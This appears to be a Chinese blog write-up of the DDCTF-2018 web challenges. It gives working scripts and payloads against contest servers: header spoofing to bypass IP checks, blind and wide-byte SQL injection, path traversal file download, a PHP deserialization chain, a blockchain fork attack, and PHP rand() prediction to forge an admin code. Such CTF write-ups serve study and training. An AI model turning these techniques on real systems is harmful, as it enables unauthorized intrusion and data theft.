DDCTF-2018 WEB WRITEUP

前言

工作需要较强的web安全能力,所以我想通过打ctf的web类题目来提高这方面的水平,以下为这次didictf web类的题解。

web1

1.png

非法链接的问题,直接在http头中加入以下键值对绕过

1
2
3
4
X-Originating-IP: 123.232.23.245
X-Forwarded-For: 123.232.23.245
X-Remote-IP: 123.232.23.245
X-Remote-Addr: 123.232.23.245

其实也可以配置burp的插件bypass waf(https://www.codewatch.org/blog/?p=408 ) ,来绕过限制正常在客户端浏览。

2.png

emmm…明显考察注入,不过这边的注入点比较隐蔽,在author参数这儿,页面上隐藏了输入点,我们可以直接写python脚本通过盲注的手法跑出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import time
import hashlib
s = ''
for index in range(1,0x20):
for i in range(0x30,0x7f):
id = ""
title = ""
date = ""
author = "-1'||if(ord(substr((select secvalue from ctf_key9 limit 0,1),"+str(index)+",1))="+str(i)+",0,1)#"
# select * from content where id = ? and author = ' -1' || ' and date = ' = 'a' union '
proxies = {"http":"127.0.0.1:8080"}
data = { "id":id,
"title":title,
"author":author,
"data":date,
"button":"search"
}
t = str(int(time.time()))
str0 = 'id='+id+'title='+title+'author='+author+'date='+date+'time='+t+'adrefkfweodfsdpiru'
sig = hashlib.sha1(str0).hexdigest()
ip = '123.232.23.245'
headers = {'X-Originating-IP': ip,
'X-Forwarded-For': ip,
'X-Remote-IP': ip,
'X-Remote-Addr': ip,
'X-Client-IP': ip,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
'Referer':"http://123.232.23.245/"
}
if len(requests.post(url="http://116.85.43.88:8080/NQYPTEMNWRQIYLEP/dfe3ia/index.php?sig="+sig+"&time="+str(int(time.time())),data=data,headers=headers,proxies=proxies).content) != 2420:
s += chr(i)
break
print s
# print str0

web2

web2的难度明显要比web1要高。

点击链接进去后,直接ctrl+u看源码,发现了可疑的链接
3.png

ZmF2aWNvbi5pY28= base64解码后,发现是favicon.ico ,初步判断该api应该存在任意文件下载漏洞。

接下来通过构造web.xml的地址(../../WEB-INF/web.xml —base64>>> Li4vLi4vV0VCLUlORi93ZWIueG1s),并利用该漏洞,下载该配置文件。

下载完了以后分析该web.xml文件,在文件内发现其他关联的文件,仿照上一步操作,将所有相关的文件都下载到本地分析。

web.xml中发现该class文件

4.png

下载至本地后,用GD-GUI分析发现为flag的加密算法

5.png

但是我们缺少关键的emailflag密文,继续寻找相关文件,开了下脑洞,猜测控制器文件FlagController.class,没想到真的有233333 下载下来分析。如图,只要我们给email就给我们加密后的flag 233333

6.png

回到首页,发现email。。。

7.png

所有条件都齐全了,逆向算法,最后写出了对应的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.PublicKey;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
class decrypt
{
public static byte[] decryptBASE64(String key) throws Exception {
return (new BASE64Decoder()).decodeBuffer(key);
}
public static void main(String[] args)
{
try{
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream("C:\\Users\\Administrator\\Desktop\\ddctf\\web2\\key\\sdl.ks");
keyStore.load(inputStream, "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "").toCharArray());
PublicKey key = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
System.out.println(key);
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(2, key);
byte[] text = decryptBASE64("S1EgULNQ7TlSYnuzagfIe5gfmjYWZRJE7YBSKoaOGmYZ6yjkmbapuNDyQDiUyjV2mKDGm2hnhkgwA6l0qsdvD9uSOjStWMHHYerOZGvk8epWSQ8YYn2pWArUlV7m2e4nV6oqKYYXRMJVO8776JX00OY/MmUeaj6XoAHk4cWar3BpwAfLw3hsUYDM1NoVjBkPy/SS/DHDhf9YsM+3kF3hNmyUc7tqTvvb/1gzovigpmoAIzc8FDxeaBprG+084bkoIiMlBs8cUyUyZq4x7PD6jvVkb00kHUeVERPFIVxlbS1ph4jS+Wy6yd3GNaYe0wUUwoxd/5MiSG4Z4l4miFX8SQ==");
byte[] doFinal = cipher.doFinal(text);
System.out.println(byte2hex(doFinal));
}
catch(Exception e)
{
System.out.println("e:"+e);
}
}
public static String byte2hex(byte[] b)
{
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++)
{
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
}

web3

一开始以为是宽字节注入,试了很多方式都没试出来,突然看到了提示,如图,链接过去是一篇关于big编码说明的文件。。。

8.png

那思路很明确了,找一个big编码的字,第二位字节为 0x5c\ 转义掉gpc生成的 \ 最后成功逃逸单引号 \\'

9.png

接下来就是常规注入了,注入完毕后发现,并没有flag。。。只有一个备份文件。。。算了,下载下来备份文件代码审计吧。

10.png

发现竟然有个api 接受一个字符串并反序列,直接就get到了考点,构造反序列化执行链,获取flag

11.png

这个反序列执行链很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?
class Flag
{
public $sql;
//
public function __construct()
{
$this->sql=new SQL();
}
}
class SQL
{
public function FlagGet($user)
{
return "";
}
}
class Test
{
public $user_uuid;
public $fl;
}
$t = new Test();
$t->fl = new Flag();
$t->user_uuid = "c09764a2-8d31-4643-907a-5d663b9348dc";
echo serialize($t);
?>

生成 O:4:"Test":2:{s:9:"user_uuid";s:36:"c09764a2-8d31-4643-907a-5d663b9348dc";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}} 不过要把类名称改成"Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"这种形式才能在远程环境执行。
最后的payload为

1
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"c09764a2-8d31-4643-907a-5d663b9348dc";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

web4

有关于区块链的代码审计,也是第一次接触到区块链的具体原理,分析了一天,收获蛮大的,这边其实可以利用区块链分叉攻击来实现bank未被hack掉的区块链链路(只要这个链路比被hack掉的链路长就可以了。)

mini区块链源码如下(对学习区块链还是挺有意思):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid
from flask import Flask, session, redirect, url_for, escape, request
import requests
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9744af30897e'
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
my_address, my_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
# print session['blocks']
# print ['prev']
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
print utxos
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
# print block['hash']
block_hash = int(block['hash'], 16)
# print block_hash
# print difficulty
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
# print "lalala:"+str(total_currency_issued)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
# print genesis_transaction
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
# print transferred
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
# print transferred
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
# final
# handout2 = create_output_utxo(hacker_address, 1)
# transferred = create_tx([total_currency_issued['id']], [handout2], bank_privkey)
# fake_second_block = create_block(genesis_block['hash'], "aaaa", [])
# requests.post(url="http://127.0.0.1:5000/b9744af30897e/create_transaction",data=json.dumps(fake_second_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Content-Type":"application/json"})
# append_block(fake_second_block)
# fake_third_block = create_block(fake_second_block['hash'], "aaaa", [])
# append_block(fake_third_block)
# fake_fourth_block = create_block(fake_third_block['hash'], "aaaa", [])
# append_block(fake_fourth_block)
# try:
# print "start attack!"
# x = 0
# while x <0xfffffff:
# fouth_block = create_block(third_block['hash'], str(x), [transferred])
# if int(fouth_block["hash"],16)<= DIFFICULTY:
# print fouth_block
# break
# x+=1
# except:
# print "end at ",hex(x)
# print "end!"
# append_block(fouth_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix+'/')
def homepage():
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return '<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info])
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
# print request.data
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

payload代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from server import *
import requests
import re
x = 0
ip = "116.85.48.107"
port = "5000"
r = requests.get("http://"+ip+":"+port+"/b9744af30897e/")
genesis_block = re.findall(r'genesis block: (.*)<br /><br />',r.content)[0]
shop_addr = re.findall(r"the shop's addr: (.*)<br /><br />",r.content)[0]
cookie = r.headers["Set-Cookie"]
# print shop_addr
# print genesis_block
block_hash = genesis_block
try:
print "start attack!"
for i in range(0,3):
while x <0xfffffff:
new_block = create_block(block_hash, str(x), [])
x+=1
if int(new_block["hash"],16) <= DIFFICULTY:
r = requests.post(url="http://"+ip+":"+port+"/b9744af30897e/create_transaction",data=json.dumps(new_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie,"Content-Type":"application/json"})
cookie = r.headers["Set-Cookie"]
block_hash = new_block['hash']
break
r = requests.get(url="http://"+ip+":"+port+"/b9744af30897e/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_addr,proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie})
cookie = r.headers["Set-Cookie"]
block_hash = genesis_block
except Exception,e:
print "end at ",hex(x)
print e
print "end!"
try:
print "start attack!"
for i in range(0,5):
while x <0xfffffff:
new_block = create_block(block_hash, str(x), [])
x+=1
if int(new_block["hash"],16) <= DIFFICULTY:
r = requests.post(url="http://"+ip+":"+port+"/b9744af30897e/create_transaction",data=json.dumps(new_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie,"Content-Type":"application/json"})
cookie = r.headers["Set-Cookie"]
block_hash = new_block['hash']
break
r = requests.get(url="http://"+ip+":"+port+"/b9744af30897e/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_addr,proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie})
cookie = r.headers["Set-Cookie"]
block_hash = genesis_block
except Exception,e:
print "end at ",hex(x)
print e
print "end!"
while x <0xfffffff:
new_block = create_block(block_hash, str(x), [])
x+=1
if int(new_block["hash"],16) <= DIFFICULTY:
r = requests.post(url="http://"+ip+":"+port+"/b9744af30897e/create_transaction",data=json.dumps(new_block),proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie,"Content-Type":"application/json"})
cookie = r.headers["Set-Cookie"]
block_hash = new_block['hash']
break
print requests.get(url="http://"+ip+":"+port+"/b9744af30897e/flag",proxies = {"http":"http://127.0.0.1:8080"},headers={"Cookie":cookie}).content

web5

看到提示,直接下载源码,代码审计ing

发现首页存在sql注入,但是需要admin的权限才能进行注入,而注册成为admin则需要一个code,则个code由str_shuffle这个关键函数函数生成。

12.png

通过谷歌搜索这个函数的相关缺陷,发现这个函数内部是由rand()函数来决定随机性的,那么接下来就好办了。

13.png

rand()函数是一个可预测的伪随机函数,具体可以参考 http://www.yqxiaojunjie.com/index.php/archives/275/

再分析下 RAND_RANGE 的构成

14.png

于是根据str_shuffle的源码,来实现python版本的str_shuffle,写出对应的预测算法。python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import re
s = requests.Session()
l = [0]*200
for i in range(0,50):
l[i] = re.findall(r'csrf" value="(.*)"',s.get("http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/login.php").content)[0]
# l[i] = s.get("http://192.168.148.137/rand.php").content
print i,l[i]
for i in range(32,112):
m = (int(l[i-3])+int(l[i-31])) % 2147483647
if i >=50:
print "*",i,m,l[i-3],l[i-31],m,float(m) * (62-(i-49)) / 2147483647
l[i] = m
continue
print i,l[i],l[i-3],l[i-31],m
i = 50
org_str = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
str_len = len(org_str) - 1
while(str_len):
# rnd_index = int(round(float(l[i]) * (str_len+0) / 2147483647))
# (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
min = 0
rnd_index = l[i]
rnd_index = min +int( (float(str_len) - min +1.0) * (rnd_index / (2147483647+1.0)) )
if rnd_index != str_len:
temp = org_str[str_len]
org_str[str_len] = org_str[rnd_index]
org_str[rnd_index] = temp
print ''.join(org_str)
str_len -=1
i+=1
# a = org_str[:32]
data = {"csrf": l[49],
"username": "winter3un2",
"password": "123456",
"code": "admin###"+"".join(org_str)[:32]
}
print s.post("http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/register.php",data=data).content

注册登陆后,利用sprinf函数中%会吞掉下一个字符的特性,具体参考 https://www.cnblogs.com/test404/p/7821884.html 构造注入payload

http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/?id=%20union%20select%201,2,f14g%20%20from%20key%20%23&title=%1$%27%1$s

web6

首页源码中有用户名密码,登陆后发现一个存在任意文件下载漏洞的api,利用这个api下载源码分析。。。。

没分析出来啊! 虽然知道是ssrf ,super admin 的用户名也拿到了,但是登陆不了啊,接下去怎么玩啊,求指点!

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. web1
  3. 3. web2
  4. 4. web3
  5. 5. web4
  6. 6. web5
  7. 7. web6
,
隐藏